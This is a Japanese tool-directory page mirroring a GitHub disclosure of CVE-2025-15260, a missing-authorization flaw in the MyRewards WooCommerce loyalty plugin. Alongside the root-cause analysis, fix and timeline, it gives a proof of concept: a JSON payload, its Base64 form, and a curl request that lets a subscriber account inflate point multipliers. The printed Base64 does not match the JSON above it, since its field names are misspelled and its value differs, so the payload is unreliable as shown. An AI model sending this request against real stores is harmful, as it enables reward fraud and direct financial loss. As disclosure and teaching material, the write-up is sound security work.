Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-15260 — プラグイン MyRewards – Loyalty Points and Rewards for WooCommerce における認可の欠如/アクセス制御の不備 | Kitploit
ツール/GitHubGitHub/d3kc4rt1/cve-2025-15260
特権昇格脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

プラグイン MyRewards – Loyalty Points and Rewards for WooCommerce における認可の欠如/アクセス制御の不備

リポジトリを見る
15ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-15260: 認可欠如 / アクセス制御破損 – MyRewards – Loyalty Points and Rewards for WooCommerce プラグイン

免責事項: このリポジトリは教育目的および倫理的な開示のみのために作成されています。この脆弱性はベンダーに責任を持って報告され、パッチが適用済みです。適切な許可なくこの情報を利用してシステムを悪用しないでください。

概要

WooCommerce 用プラグイン MyRewards (WooRewards)(バージョン <= 5.6.0)において、深刻なアクセス制御破損 / 権限昇格の脆弱性が発見されました。この欠陥により、購読者(Subscriber) のような最小限の権限しか持たないログインユーザーであっても、認可を回避して機密性の高いショップの報酬ルールを変更できてしまいます。

この脆弱性を悪用することで、攻撃者はロイヤリティポイントの倍率を天文学的な値(例:999,999,999')に増加させ、たった一度の少額購入から大量のポイントを蓄積し、それらをクーポンや無料商品と交換して、ストアに直接的な金銭的損失をもたらすことが可能です。

脆弱性の概要

  • CVE ID: CVE-2025-15260
  • 製品: LongwayStudio 製 MyRewards (WooCommerce プラグイン)
  • 影響を受けるバージョン: <= 5.6.0
  • 脆弱性の種類: アクセス制御破損 / 権限昇格 (CWE-284)
  • 必要な権限: 認証済みユーザー(購読者以上)

技術的な詳細と根本原因

この脆弱性の根本原因は、データベース変更を処理する重要な AJAX エンドポイントに、機能の権限チェック(キャパビリティチェック)や CSRF 対策が実装されていないことにあります。

1. 認可されていない AJAX 登録: このプラグインは、CRUD 操作を管理するために汎用コントローラークラス(EditlistControler)を利用しています。editlistcontroler.php では、wp_ajax_ フックを使用して AJAX アクション editlist を登録しており、ロールに関係なくすべてのログインユーザーが利用できます:

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. 認可およびノンス検証の欠如: ajax() メソッドと accept() メソッド内では、ユーザー入力のみに基づいて状態を変更するリクエスト(例: 更新用の put、削除用の del)を処理しています。current_user_can() や check_ajax_referer() の呼び出しが完全に欠落しており、ユーザーが manage_woocommerce 権限を持っているかどうかの検証が行われません。

3. 危険なペイロード処理: エンドポイントは line パラメーターを介して Base64 エンコードされた JSON 文字列を受け入れ、それをデコードして EventList::write() メソッドに直接渡し、悪意のある設定をそのままデータベースに保存します:

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

ビジネスへの影響

  • 金銭的損失: 「注文金額」のポイント倍率を操作することで、悪意のある攻撃者は無限の報酬ポイントを生成し、それを高額な割引クーポンや無料商品と交換して、eコマースの決済ゲートウェイを回避できます。
  • 権限昇格: 一般顧客(購読者)がプラグインの管理操作を実行できます。
  • データ整合性の侵害: 攻撃者は既存の正当な報酬ルールを改ざん、変更、または削除し、ストアのマーケティングロジックを混乱させる可能性があります。

概念実証 (PoC)

以下の手順は、認証済みの購読者がこの欠陥を悪用する方法を示しています。

1. 前提条件

  • MyRewards v5.6.0 を導入した WooCommerce が動作しているターゲット。
  • subscriber レベルのアカウントの有効な認証情報。
  • 事前に設定された報酬システム(例:「金額を使用」获得ルール)。注: このルールの ID(例: 101)は連番であり、AJAX の応答を観察することで容易に列挙できます。

2. ペイロード

ルール ID 101 のポイント倍率を 999,999,999,999,999 に更新します。

初期 JSON

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

Base64 エンコード済み('line の値')

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. 攻撃の実行

低権限ユーザーとして次の CURL リクエストを実行します:

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. 検証

  • 攻撃者の視点: サーバーは {"status":1} を返し、更新が成功したことを確認します。
  • 管理者の視点: 管理者がロイヤリティ設定を表示すると、注文のポイント倍率が攻撃者によって注入された天文学的な値に変更されていることがわかります。

修正方法

この問題を修正するには、MyRewards プラグインを最新のパッチ適用済みバージョンに更新してください。ベンダーは以下の方法で解決しました:

  1. AJAX コントローラー内に current_user_can() チェックを実装し、管理権限を検証する。
  2. check_ajax_referer() を追加してノンスを検証し、クロスサイトリクエストフォージェリ (CSRF) を防ぐ。

タイムライン

倫理的な基準に従ったことを示す、開示プロセスの簡単な記録:

  • 日付 (2025-12-29): Wordfence / 開発者に報告。
  • 日付 (2026-02-09): 脆弱性がパッチ適用 / 公開開示。

参考情報とクレジット

  • Wordfence 脆弱性データベース
  • NVD 上の CVE-2025-15260
  • WordPress.org の MyRewards プラグイン
ツールをダウンロード